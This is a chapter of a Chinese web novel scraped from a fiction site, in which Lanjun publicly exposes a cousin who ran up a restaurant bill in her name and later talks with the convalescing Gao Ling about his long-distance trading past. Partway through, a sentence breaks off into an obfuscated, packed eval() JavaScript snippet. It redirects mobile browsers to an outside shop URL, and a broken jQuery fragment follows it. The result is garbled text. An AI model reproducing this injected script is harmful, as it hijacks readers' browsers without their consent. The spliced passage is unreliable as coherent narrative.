文趣网 > 其他小说 > 玉兰迟 > 51. 第 51 章
    清明时节雨纷纷,兰君对这句诗有了格外深刻的体会。

    从清明开始,连续不断地下了十几天的雨,目前看来还没有停的意思。

    屋檐上的水帘一直没断过,路边的石头上长满青苔,门口的溪水越来越湍急。

    兰君除了去县城查账的日子,每天都会陪高翎坐一下午。

    有的时候她和他一起看书,有的时候他拿着《乐府诗集》,给她讲那些她看不懂的诗。

    有的时候她听着雨声在桌子上打盹,还有的时候,她会吹埙给他听。

    她偶尔会留宿在师祖家的客房,让辛夷带着爹来往于村镇。

    爹对这件事没有多说什么,只是睁一只眼闭一只眼,现在两只眼睛都快闭上了。

    腌菜铺进入了一种不需要兰君,也能正常运转的状态。

    娘自己带着帮工们干活,现在帮工稳定在十人,偶尔有人主动上门来打听要不要人,甚至还有邻村的人来。

    哥哥不用上手洗菜切菜,看着大娘们干活就行。

    他心疼兰君,会在家里菜不够时,直接绕过她,骑着乌云去找邱大娘订菜,一个人去窑场找杨大爷。

    哥哥买了八只母鸡回来,又和娘在院子里圈出了一块菜地,用去年剩下的种子种上了小白菜和空心菜。

    辛夷不沾手钱款,收来的钱款直接都给爹,她负责每日记一份简单的流水账,然后再把每日的账目交给兰君。

    县城那边暂时没出什么岔子,车马行每三天送二百五十斤,每日出货量在六十斤左右。

    兰君现在除了两三天去趟县城对账,还有盘两家店的账以外,没有其他的活了。

    她已经没那么忙了,也有时间买书看了,她最近在看《史记》,下雨的时候窝在师祖家看书,她感觉很久没有这么轻松过了。

    高翎的左臂还是要戴夹板,但额头上的伤好很多了。

    兰君按照郎中的吩咐,每天用盐水擦拭伤口,再用乐川提前碾好的刘寄奴粉末,厚厚敷一层上去,三五天就见好了。

    她每天都去醉仙楼点汤,老母鸡汤、猪骨汤和杜仲牛骨汤换着喝,见没见效不好说,但两个人都吃胖了。

    郎中还开了一个偏方,把生地黄捣碎成汁兑入热酒里,说是可以活血化淤。

    高翎不喜欢这个味道,但还是会在兰君的威逼利诱下,皱着眉喝掉,兰君坐在一旁端着蜜饯,在他喝完之后喂到他嘴里。

    娘知道了叶儿的事,没有多说什么,只是让兰君别再沾手那边的事。

    田叔把水田料理得不错,爹偶尔会去田里看一眼,和田叔聊几句。

    雨终于停了。

    定做的春装在雨季过后上身了,兰君穿了鹅黄色的刺绣褙子,配月白色的内衬,梳了垂云髻,戴上那支许久没戴过的点翠簪。

    辛夷出去送货去了,兰君坐着算账,外面有人敲窗户。

    兰君抬头,发现是醉仙楼的掌柜。

    她推开窗户,开口道:“掌柜的,有事吗?进来说吧。”

    掌柜的进了门,兰君拉着椅子请他坐下,简单寒暄了两句,他面露难色,还是开了口。

    掌柜的说道:“沈姑娘,您家里是不是有个表妹?”

    兰君有种不好的预感,她和爹对视一眼,冲着掌柜的点点头。

    “她这几天在醉仙楼请人吃饭,说让我算在您的账上。”掌柜的翻开账本,“店里新来的伙计,说见过您带那位姑娘来过好几次,就直接记账了,差不多五百文。”

    兰君脸有点黑。

    她请叶儿满打满算只有两次,一次是去年冬天,一次是今年过年,之后再带去的,那都是莲儿。

    爹脸色也有点难看,扭头看了她一眼。

    片刻后,她开了口。

    她问道:“掌柜的,她请客吃饭,为什么要记我账上啊?我每次去吃都是付的现钱,我自己都没记过账啊。”

    掌柜的赔笑道:“是是……那您看这钱?”

    兰君脸色很差,但也不好发作,她直接把那家茶馆的地址给了掌柜的。

    她说道:“掌柜的,是这样,我有一对孪生表妹,她们长得一模一样,一个和我关系很好,另一个我们基本不来往,您去这家茶馆找她吧。”

    掌柜的一听,也有点惊讶。

    他说道:“沈姑娘,那您可得注意了,这位姑娘经常在镇上顶着您的名号行走,说跟您关系好,让人家赊账给她。”

    兰君感觉真是一脑门子官司。

    “谢谢掌柜的提醒。”兰君说道,“这钱您去找她要吧,这事我知道了,我会自己处理的。”

    掌柜的拿着地址走了,脸色也不怎么好看。

    兰君想了想,追在醉仙楼掌柜的身后,和他一起出了门。

    拐了几个弯,到了茶馆,兰君带着一身的怒火,和醉仙楼的掌柜进了门。

    兰君客客气气地开口道:“掌柜的,我找何叶儿。”

    叶儿出来了,看起来有点心虚。

    雨刚停,大家都想着出来透口气,茶馆里挤满了人。

    有人在一旁看着这架势,摆出了看热闹的姿态。

    兰君平复了一下心里的怒气,茶馆掌柜在一边看着,她站在茶馆里,大声开了口。

    “今天在座的人不少,烦请诸位为我沈兰君做个见证。”

    兰君站在茶馆中央,继续说了下去。

    “我这位表妹何叶儿,打着我的名号在醉仙楼大吃大喝,在醉仙楼欠下五百文的账目。”

    周围人窃窃私语起来,叶儿脸色越来越难看。

    兰君说道:“这位何姑娘要是再打着我的名号到处蹭吃蹭喝,谁吃的饭,谁欠的账,谁自己付,和我无关,我没义务为她付钱。”

    兰君转身,看向叶儿,茶馆外面也围了几个人在那儿指指点点。

    茶馆掌柜想上来拦她,但碍于兰君在镇上的名声,也不好阻拦。

    “叶儿,你我姐妹一场,我不想把事做绝,现在你一定要打着我的名号大吃大喝,就别怪我说话难听。”兰君说道,“我会转告所有和我相熟的铺子这件事,你别想故伎重演。”

    兰君继续说了下去。

    “我能为了自己的家产去击鼓鸣冤,你如果想破罐子破摔,也可以试试看,看看丢人的到底是谁,大不了我就再走一次县衙。”

    叶儿脸色涨红,大声怒吼道:“你那么有钱,我吃点喝点怎么了?你怎么就那么小气?”

    兰君开口道:“想吃可以吃自己的,吃别人的还那么理所应当,那就是不要脸,别逼我说更难听的话,以后咱们各走各路,别再来招惹我。”

    说完这些,兰君拨开围观的人群,转身回了铺子。

    醉仙楼的掌柜目瞪口呆,兰君拉着他,从茶馆里出来。

    兰君开口道:“掌柜的,不好意思,我不是冲你。这钱你能跟她要回来最好,要不回来我给你。”

    掌柜的摆摆手,他扯着兰君到一旁。

    他小声说道:“沈姑娘,这事回头我和我认识的掌柜东家们说一说,您别太担心,钱的事到时候再说,我先去跟她要。”

    兰君脸色还是难看,气得手抖,她抚着胸口,看到辛夷过来了。

    辛夷三步并作两步,直接跑过来。

    她扶着兰君道:“姑娘,你没事吧?”

    兰君笑得有点勉强,她摇了摇头,拉着辛夷的手往回走,边走边和她讲。

    辛夷听了,也有点震惊。

    她说道:“她怎么这样啊?姑娘,我去跟咱们相熟的铺子说一声,你别担心,我送你回去,然后我直接去。”

    辛夷扶着兰君回了铺子,她又急匆匆地出了门。

    爹看着她气得手抖,起来给她倒了杯水,给她顺了顺气,兰君喝完,给爹讲了这件事。

    爹听完,没说什么。

    “其实我都没跟你说。”他开口道,“县城分店开业那几天,她好像知道你不在,每天都来借钱,但是我没给她。”

    兰君喝了口水,瞪大了眼睛。

    “每天都借?”她问道,“借多少啊?”

    爹说道:“每次都是三五百文地借,我哪有钱借给她,你不是说了吗,莲儿也说不能借给她钱,我就没借。”

    兰君喝完,爹又倒了一杯。

    他说道:“说就说吧,你不说,这事一时半会完不了,咱们一家五口,吃好喝好,天天吃肉,半个月生活费也就五百文,她是太过分了。”

    兰君捏着杯子道:“就是啊,今天五百,那明天呢,后天呢?再这么下去,咱家这店就贴补她了,咱们自家就喝西北风吧。”

    辛夷回来了,莲儿也跟着来了。

    她一脸歉意地开口道:“表姐,对不起啊,我不知道这事。”

    兰君摇了摇头,没说什么。

    莲儿又开口道:“她是欠了醉仙楼五百文吗?我去把这钱给了吧,能给多少算多少。”

    兰君也不知道怎么接,让辛夷送她出去了。

    辛夷开口道:“姑娘,我挨家挨户说完了,我说再来记账的,除了您本人一概不认,您放心吧。”

    兰君冲着她笑了一下,拉了拉她的手。

    到了下午,有不少相熟的掌柜过来打听这事,面馆的胡掌柜也来问了。

    兰君一个一个地解释了,刚好借着他们的口,往七宝镇四处散播一下,七宝镇就这么大,用不了两天,全镇都能知道这事。

    爹说道:“这么一闹,你二舅妈估计消停不了。”

    兰君冷哼道:“消停不了?二舅可是在一大桌长辈面前和我许下承诺的,他任由二舅妈来闹,就是自己抽自己嘴巴。”

    她吸了吸鼻子,窗外又下起雨。

    兰君继续说道:“真闹翻了,咱们只是失去了一门胡搅蛮缠的亲戚,村里人不是说了吗,说沈老三的姻亲想嫁女想疯了,真丢人,丢的也不是我的人。”

    次日,兰君和辛夷去了趟醉仙楼。

    叶儿只还了一百六十多文,莲儿出了三十文,兰君还是把这个窟窿填了。

    她和醉仙楼的掌柜说好,对外就说是掌柜的自己补了这钱,就说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861191|212002||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    兰君一分钱没掏,不能让叶儿觉得有机可乘。

    兰君从醉仙楼出来,只觉得异常疲惫。

    她扭头问道:“你和爹看店行吗?我要去探望病号。”

    辛夷笑着点头,兰君拍了拍她的肩膀,朝着高家的方向去了。

    进了高翎的卧房,他正在睡午觉。

    他额头上的伤已经好得差不多了,郎中说再敷两天药就可以不用包帛上去了。

    兰君凑上去看了看,伤口不再青紫,擦伤的地方已经结痂了。

    兰君也有点累,她趴在桌子上,准备小憩一会儿。

    不知道睡了多久,她猛然惊醒,把高翎吓了一跳。

    外面已经黑透了,高翎坐在她身边,拿着她的账本算账。

    高翎问道:“醒了?”

    她揉了揉眼睛,感觉浑身僵硬。

    他又说道:“辛夷来过了,她带着你爹先回去了,你晚上在这儿睡吧,我去给你端饭。”

    兰君想说话,发现嗓子有点哑,她端起手边的冷茶,一饮而尽。

    她反应过来,连忙跑出去喊道:“我自己端就行,你别动了。”

    兰君坐下来吃饭,高翎还在算账。

    他开口道:“我早就想问你了。”

    兰君抬头,高翎合上账本,指着封皮。

    他问道:“这狐狸是什么意思啊?我记得你去年那本账本上也有一只,但这只更丑一些。”

    兰君有点窘迫,低下头去。

    她说道:“嗯……就是随手画的,没什么理由。”

    高翎显然没有相信,挑眉看向她。

    兰君觉得他现在看起来像一只困惑的狐狸,忍不住笑出了声。

    笑完,兰君还是给他解释了一下,高翎听完,看起来更困惑了。

    他指着封皮上的狐狸问道:“我在你眼里就这么丑吗?”

    兰君笑得肚子疼,高翎怕她呛到,赶紧替她顺后背。

    她擦了擦嘴道:“其实是我画得太丑,我真的不擅长作画。”

    高翎看了半天,合上账本继续算账。

    兰君把碗筷收好,回来又在他旁边趴下了。

    她问道:“其实我很好奇,你一直是在跑附近的商路吗?”

    他侧过头道:“嗯?你怎么想到问这个。”

    兰君答道:“就是好奇,好奇你的经历,好奇你去过哪里。”

    高翎说道:“我是从去年年初才开始跑临州下辖的商路的,大概就在你击鼓鸣冤前三个月,以前跑的都是长途。”

    “长途?”兰君瞪大了眼睛,“有多长啊?”

    他解释道:“嗯……这个有点难解释,基本就是从北到南,跑得最多的就是从临州到江南这条商路。

    他又补充道:“从江南带回来茶叶和绸缎,再把北方的皮毛,干果,药材还有豆子之类的运过去,就是倒买倒卖。”

    兰君听完,有点兴奋。

    她继续问道:“那你去过很多次江南吗?我只在书上看到过江南,还有你送来的那本风物志里。”

    “当然去过很多次啊。”他侧目看向她,“你忘了吗,我是江南人。”

    兰君听完,有点恍然。

    “江南呢,和北地非常不同。”他说道,“春天的时候四处都开满了花,口音也完全不一样。”

    兰君感叹道:“那一定很美。”

    高翎说道:“我跑过很多次这条商路,跑长途很危险,尤其涉及到茶叶一类,要跟官府和地头蛇打交道,有的时候还会遇到水贼。”

    兰君问道:“那不能让你爹的手下去跑吗?”

    他答道:“涉及到盐铁和茶叶一类,下面的人没办法负责,风险有点大,基本就是东家的儿子们跑。”

    他又说道:“别家基本都是让庶子去跑,不会让嫡子跑,但我爹的妾室都没有孩子,我也不是独苗,就一个人带着商队跑长途。”

    她听得很入神。

    兰君又问道:“那现在呢?为什么你不跑了。”

    高翎无奈道:“我差点死在水路上,这是我不再跑长途的理由,我爹看不上我,但不打算让我死在水上,现在就让我二弟去跑了。”

    兰君有些意外,没想到他还有过这样的经历。

    高翎放下笔,合上账本。

    他说道:“那个时候很辛苦,虽然差点死在水上,但我还是觉得那段经历很有意义。”

    兰君侧过头,他静静地看着她。

    他说道:“如果没有这段经历,我应该还在水上漂着,你还是你,我还是我,但我不会和你相遇。”

    兰君有些语塞,她看向窗外,屋檐上的水幕连绵不绝。

    “庙会什么时候开呢?”他问道,“去年我们是在清明后的庙会上相遇的,但今年没办庙会吧。”

    她笑着说道:“前段时间一直在下雨呀,怎么办庙会呢?听说是在谷雨之后,到时候我们可以一起去逛。”

    天南地北地聊了很多,兰君觉得她的眼皮越来越沉。

    聊着聊着,她就睡着了。